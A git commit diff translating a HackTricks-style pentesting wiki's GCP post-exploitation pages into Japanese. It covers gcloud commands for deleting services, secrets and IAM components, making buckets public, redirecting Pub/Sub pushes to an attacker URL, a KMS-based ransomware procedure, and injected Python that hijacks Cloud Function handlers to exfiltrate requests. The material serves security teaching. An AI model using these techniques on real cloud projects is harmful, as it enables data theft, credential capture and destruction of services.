Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-11-26 17:24:53 +00:00
parent c02aad89d3
commit 8b37a4b8a9
18 changed files with 1265 additions and 449 deletions

View File

@@ -4,7 +4,7 @@
## `App Engine`
For information about App Engine check:
App Engine に関する情報は以下を参照してください:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,36 +12,37 @@ For information about App Engine check:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
With these permissions it's possible to:
これらの権限により、次のことが可能です:
- キーを追加する
- キーを一覧表示する
- キーを取得する
- 削除する
- キーを削除する
> [!CAUTION]
> しかし、私は **couldn't find any way to access this information from the cli**, からのみ **web console** 、そこで **Key type** と **Key name** を知っている必要があり、または a**pp engine running app** からしかアクセスできませんでした
> ただし、私は **couldn't find any way to access this information from the cli****web console** からのみアクセスでき、そこで **Key type** と **Key name** を知る必要があります、または a**pp engine running app** からアクセスします
>
> これらの権限を使用するより簡単な方法をご存知の場合は、Pull Request を送ってください!
> これらの権限を使より簡単な方法をご存知であれば、Pull Request を送ってください
### `logging.views.access`
With this permission it's possible to **see the logs of the App**:
<details>
<summary>Tail app logs</summary>
この権限があれば **アプリのログを見る** ことが可能です:
```bash
gcloud app logs tail -s <name>
```
</details>
### サービスとバージョンの削除
### ソースコードを読む
`appengine.versions.delete``appengine.versions.list`、および `appengine.services.list` の権限は、App Engine アプリケーションの特定のバージョンを管理・削除することを許可します。トラフィックが分割されている場合や唯一の安定版が削除された場合に、トラフィックに影響を与える可能性があります。一方で、`appengine.services.delete``appengine.services.list` の権限はサービス全体の一覧表示および削除を許可し、これは関連するバージョンの可用性と全トラフィックを即座に中断する操作です。
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### ソースコードの閲覧
すべてのバージョンサービスのソースコードは名前 **`staging.<proj-id>.appspot.com`** **bucket** に格納されています。書き込み権限がある場合、ソースコードを読み、**vulnerabilities** や **sensitive information** を検索できます。
すべてのバージョンおよびサービスのソースコードは **bucket に格納されています**名前 **`staging.<proj-id>.appspot.com`** です。そこに対する書き込み権限があれば、ソースコードを読み、**脆弱性**や**機密情報**を検索できます。
### ソースコードの変
### ソースコードの
送信されている場合は **credentials** を盗むためにソースコードを改変したり、**defacement web attack** を実行したりできます。
送信されているcredentialsを盗むためにソースコードを改変したり、defacement web attackを実行したります。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Cloud Functions
Cloud Functions に関する情報は次を参照してください:
Find some information about Cloud Functions in:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,30 @@ Cloud Functions に関する情報は次を参照してください:
### `cloudfunctions.functions.sourceCodeGet`
この権限があれば、Cloud Function のソースコードをダウンロードするための**署名付きURL**を取得できます:
<details>
<summary>ソースコードをダウンロードするための署名付きURLを取得</summary>
この権限があれば、Cloud Function のソースコードをダウンロードできる **signed URL** を取得できます:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
`cloudfunctions.functions.delete` 権限は、アイデンティティに Cloud Function のコード、構成、トリガー、およびサービスアカウントとの関連を含めて完全に削除することを許可します。
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration バケット経由
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Cloud Function リクエストの窃取
### Steal Cloud Function Requests
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
例えば、次のコードはこの攻撃を実装しています:
<details>
<summary>Cloud Function リクエストの窃取 (Python injection)</summary>
For example this code implements the attack:
```python
import functions_framework
@@ -132,8 +132,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,23 +1,34 @@
# GCP - Cloud Run ポストエクスプロイテーション
# GCP - Cloud Run Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Run
Cloud Run に関する詳細情報は、以下を確認してください:
Cloud Run の詳細については、次を参照してください
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### CloudRun Job の削除
`run.services.delete``run.services.get` の権限、および `run.jobs.delete` は、アイデンティティが Cloud Run のサービスやジョブ構成や履歴を含むを完全に削除できるようにします。攻撃者の手に渡ると、これはアプリケーションや重要なワークフローに即時の障害を引き起こし、サービスロジックや必須のスケジュールされたタスクに依存するユーザーやシステムに対してサービス拒否DoSをもたらす可能性があります。
ジョブを削除するには、次の操作を実行できます。
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
サービスを削除するには、次の操作を実行します。
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### 画像にアクセスする
コンテナ画像にアクセスできる場合は、脆弱性やハードコーディングされた機密情報のコードを確認してください。また、環境変数内の機密情報も確認してください
コンテナイメージにアクセスできる場合は、コードに脆弱性やハードコーされた機密情報がないか確認してください。env variables に含まれる機密情報も確認します
画像がサービスの Artifact Registry 内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、はこのサービスから画像をダウンロードすることもできます。
イメージが Artifact Registry サービス内のリポジトリに保存されており、ユーザーがそれらのリポジトリに対して読み取りアクセスを持っている場合、そのユーザーはこのサービスからイメージをダウンロードすることもできます。
### 画像を変更して再デプロイする
### イメージを修正して再デプロイする
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグ新しい Docker コンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗むことができます。
実行されるイメージを改変して情報を盗み、新しいバージョンを再デプロイします(同じタグ新しい docker container を単にアップロードしても実行されません)。例えば、ログインページを公開している場合、ユーザーが送信する認証情報を盗むようにします。
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,24 +12,40 @@ You can find further information about IAM in:
### 管理コンソールへのアクセス付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
[GCP management console](https://console.cloud.google.com) へのアクセスは **ユーザーアカウントに提供され、サービスアカウントには提供されません**
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**。Web インターフェースにログインするには、自分が管理する **Google account** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントで構いません。**対象組織のメンバーである必要はありません**。
Webインターフェースにログインするには、あなたが管理する **Google アカウント** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントでも構いませんし、ターゲット組織のメンバーである必要はありません
ただし、一般的な "@gmail.com" アカウントにプリミティブロールの **Owner** を**付与**するには、**web console** を使用する必要があります。`gcloud` は Editor を超える権限を付与しようとするとエラーになります
ただし、一般的な "**@gmail.com**" アカウントにプリミティブロール **Owner****付与する**には、**web コンソールを使用する**必要があります。`gcloud` は、Editor より上の権限を付与しようとするとエラーになります
既存のプロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
<details>
<summary>ユーザーに Editor ロールを付与</summary>
既存プロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
If you succeeded here, try **Web インターフェースにアクセス**して、そこから探索してみてください。
もしここで成功したら、**Webインターフェースにアクセス**してそこから探索してみてください
This is the **gcloud tool を使用して割り当てられる最高レベルです**
これは**gcloudツールを使って割り当てられる最も高いレベル**です。
### IAM コンポーネントを削除 `iam.*.delete`
`iam.*.delete` 権限(例: `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` などは、カスタムロール、API キーバインディング、サービスアカウントキー、およびサービスアカウント自体など、重要な IAM コンポーネントを削除することをアイデンティティに許可します。攻撃者の手に渡ると、正当なアクセス手段を削除してサービス拒否DoSを引き起こすことが可能になります。
そのような攻撃を行うには、例えばロールを削除することが可能です:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
`iam.serviceAccountKeys.disable``iam.serviceAccounts.disable` の権限があれば、アクティブな service account keys や service accounts を無効化できます。攻撃者の手に渡ると、運用の妨害、denial of service の発生、または正当な認証情報の使用を阻止して incident response を妨げるために利用される可能性があります。
Service Account を無効化するには、次のコマンドを使用します:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Service Account のキーを無効にするには、次のコマンドを使用します:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
`iam.*.undelete` 権限は、API key bindings、custom roles、service accounts のような以前に削除された要素を復元することを可能にします。攻撃者の手に渡ると、対策を元に戻して(削除されたアクセスの回復)、永続化のために削除された侵害ベクトルを再構築したり、修復措置を回避してインシデントの封じ込めを困難にするために利用される可能性があります。
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## KMS
KMS 基本情報は次を参照してください:
KMS に関する基本情報は次を参照してください
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ KMS の基本情報は次を参照してください:
### `cloudkms.cryptoKeyVersions.destroy`
この権限を持つ攻撃者は KMS バージョンを破壊する可能性があります。これを行うにはまずキーを無効化し、その後で破棄する必要があります:
この権限を持つ攻撃者は KMS バージョンを破棄できます。そのためにはまずキーを無効化し、続けて破棄する必要があります
<details>
<summary>キー バージョンの無効化と破壊 (Python)</summary>
<summary>キーの無効化と破棄(Python</summary>
```python
# pip install google-cloud-kms
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
AWS では、KMS resource policy を変更して攻撃者のアカウントだけがそのキーを使用できるようにすることで、完全に **steal a KMS key** することが可能です。これらの resource policies は GCP には存在しないため、これは不可能です。
AWSでは、KMS resource policyを変更して攻撃者のアカウントのみがそのキーを使用できるようにすることで、**KMS key**を完全に盗むことが可能です。GCPにはこれらのresource policies存在しないため、これは不可能です。
しかし、グローバルな KMS Ransomware を実行する別の方法があり、の手順を含みます:
しかし、global KMS Ransomwareを実行する別の方法があり、これは以下の手順を含みます:
- 攻撃者がインポートした **version of the key with a key material** を使ってキーの新しいバージョンを作成する
- 攻撃者がインポートした**key materialを含むキーの新しいバージョン**を作成する
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- れを **デフォルト バージョン** 設定する(今後暗号化されるデータ用)
- 以前のバージョンで暗号化された古いデータを**再暗号化する**新しいバージョンで)
- **KMS key を削除する**
- これにより、元の素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
- れを **デフォルトバージョン** として設定する(今後暗号化されるデータ用)
- **古いデータを再暗号化する**以前のバージョンで暗号化されたデータを新しいバージョンで再暗号化する
- **KMSキーを削除する**
- これにより、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順:
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順は以下の通り:
<details>
<summary>新しいキー バージョンをインポートして古いバージョンを削除する</summary>
<summary>新しいキーバージョンをインポートして古いバージョンを削除</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>非対称鍵でメッセージに署名する (Python)</summary>
<summary>非対称鍵でメッセージに署名 (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -243,7 +243,7 @@ print('Signature:', signature)
<details>
<summary>非対称で署名を検証する (Python)</summary>
<summary>非対称キーで署名を検証する (Python)</summary>
```python
from google.cloud import kms
import hashlib
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
`cloudkms.cryptoKeyVersions.restore` 権限は、以前に破棄予定に設定されたか無効化された Cloud KMS のキー バージョンを復元し、アクティブで使用可能な状態に戻すことを許可します。
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
`cloudkms.cryptoKeyVersions.update` 権限は、アイデンティティが Cloud KMS の特定のキー バージョンの属性や状態を変更できることを許可します。例えば、そのキー バージョンを有効化または無効化することができます。
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Pub/Sub
Pub/Subの詳細については、次のページを参照してください
For more information about Pub/Sub check the following page:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,7 +12,7 @@ Pub/Subの詳細については、次のページを参照してください
### `pubsub.topics.publish`
トピックにメッセージをpublishします。**予期しないデータを送信**して予期しない機能をトリガーしたり脆弱性を悪用したりするのに有用です:
トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
<details>
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
subscriptionがメッセージを受信しないようにするのに有用で、検を回避するために使える場合がある
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検を回避するために使うことがあります
<details>
<summary>トピックからsubscriptionをデタッチ</summary>
<summary>トピックからサブスクリプションを切り離す</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -38,11 +38,11 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
サブスクリプションがアタッチされている状態でもトピックを削除することが可能です。
サブスクリプションが紐づいている状態でもトピックを削除できます。
<details>
<summary>Delete topic</summary>
<summary>トピックを削除</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
この権限を使用して、トピックの設定を更新し妨害できます。例: `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
自分に権限を付与して、前述のいずれの攻撃実行できるようにします。
自分に権限を付与して、前述のいずれの攻撃実行できるようにします。
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
ウェブサーバー上のすべてのメッセージを取得する:
ウェブサーバーで全てのメッセージを取得する:
<details>
@@ -69,7 +95,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
```
</details>
サブスクリプションを作成し、それを使用し**pull messages** を取得します:
サブスクリプションを作成し、それを使**pull messages**:
<details>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**サブスクリプションの削除** は、ログ処理システムなどを中断するのに役立つことがあります:
**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:
<details>
<summary>サブスクリプション削除</summary>
<summary>サブスクリプション削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
この権限を使って、メッセージがアクセスできる場所URLBig Query tableBucketに保存されるよう設定を更新したり、単に妨害したりできます。
この権限を使って、メッセージが自分でアクセスできる場所URL, Big Query table, Bucketに保存されるよう設定を更新したり、単に妨害したりできます。
<details>
<summary>サブスクリプションのエンドポイントを更新</summary>
<summary>サブスクリプションの更新エンドポイント</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
前述の攻撃を実行するために必要な権限を自分に付与します。
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
スキーマをトピックにアタッチして、メッセージがそのスキーマを満たさなくなるようにし、結果としてトピックを妨害します。\
スキーマをトピックにアタッチして、メッセージがそを満たさなくなり、その結果トピックが中断されるようにします。\
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
<details>
<summary>スキーマファイルを作成してトピックにアタッチ</summary>
<summary>スキーマファイルを作成してトピックにアタッチする</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
スキーマを削除すると、スキーマに適合しないメッセージを送信できるように見えるかもしれません。しかし、スキーマが削除されるため、実際にはトピックにメッセージは入らないでしょう。したがって、これは **無意味**:
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除される実際にはどの message も topic に入らないため、これは**役に立ちません**
<details>
<summary>スキーマを削除(役に立たない)</summary>
<summary>Delete schema (not useful)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
これはACKされていないすべてのメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、以下の通りです:
これは、すべての unACKed メッセージのスナップショットを作成しサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:
<details>
<summary>スナップショットを作成してシークする</summary>
<summary>スナップショットを作成してそこにシークする</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME

View File

@@ -4,7 +4,7 @@
## Secretmanager
For more information about Secret Manager check:
Secret Manager の詳細については、以下を参照してください:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,7 +12,7 @@ For more information about Secret Manager check:
### `secretmanager.versions.access`
これは Secret Manager から secrets を読み取るアクセスを与え、保存されている情報によっては権限昇格に役立つことがあります(どの情報がシークレット内に格納されているかによります):
これにより secret manager からシークレットを読み取ることができ、保存されている情報によっては権限昇格に役立つ可能性があります
<details>
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
`secretmanager.versions.destroy` 権限は、Secret Manager のシークレットの特定のバージョンを恒久的に破棄回復不可能な削除としてマークすることをアイデンティティに許可します。これにより重要な認証情報が削除され、denial of service を引き起こしたり、機密データの復旧を妨げたりする可能性があります。
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
`secretmanager.versions.disable` 権限は、アイデンティティが Secret Manager のアクティブなシークレットバージョンを無効化できるようにし、それらに依存するアプリケーションやサービスからの利用を一時的にブロックします。
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
`secretmanager.secrets.delete` の権限セットは、アイデンティティが Secret Manager 内のシークレットとその保存されているすべてのバージョンを完全に削除できるようにします。
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
`secretmanager.secrets.update` 権限は、アイデンティティがシークレットのメタデータや設定(例:ローテーション設定、バージョンポリシー、ラベル、特定のシークレットプロパティなど)を変更できるようにします。
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,19 +4,15 @@
## Cloud Storage
Cloud Storageの詳細は次のページを参照してください
Cloud Storage の詳細については次のページを参照してください:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Give Public Access
### パブリックアクセスを付与する
外部ユーザGCPにログインしているかどうかに関わらず)にバケットのコンテンツへのアクセスを付与することが可能です。ただし、デフォルトではバケット公開するオプション無効になっています:
<details>
<summary>バケット/オブジェクトを公開する</summary>
外部ユーザGCPにログインしているかどうかに関係なく)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケット公開設定にするオプション無効になっています:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
もし **ACLs to a bucket with disabled ACLs** を与えようとすると、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ACLsが無効になっているバケットに**ACLsを付与しようとすると**、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ブラウザから公開された bucket にアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスしてください。
公開されているバケットにブラウザからアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
### `storage.objects.delete` (`storage.objects.get`)
オブジェクトを削除するには:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
バケットを削除するには:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### HMAC Keys を無効化
`storage.hmacKeys.update` permission は HMAC keys を無効化することを許可し、`storage.hmacKeys.delete` permission は Cloud Storage の service accounts に関連付けられた HMAC keys を identity が削除できるようにします。
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
`storage.buckets.setIpFilter``storage.buckets.update` の権限があれば、アイデンティティは Cloud Storage バケットの IP アドレスフィルタを設定でき、どの IP 範囲またはアドレスがバケットのリソースにアクセスできるかを指定できます。
IP フィルタを完全にクリアするには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
フィルタリングされた IP を変更するには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
JSON ファイルはフィルタ自体を表しており、次のようなものです:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
次を使用してバケットを復元する:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}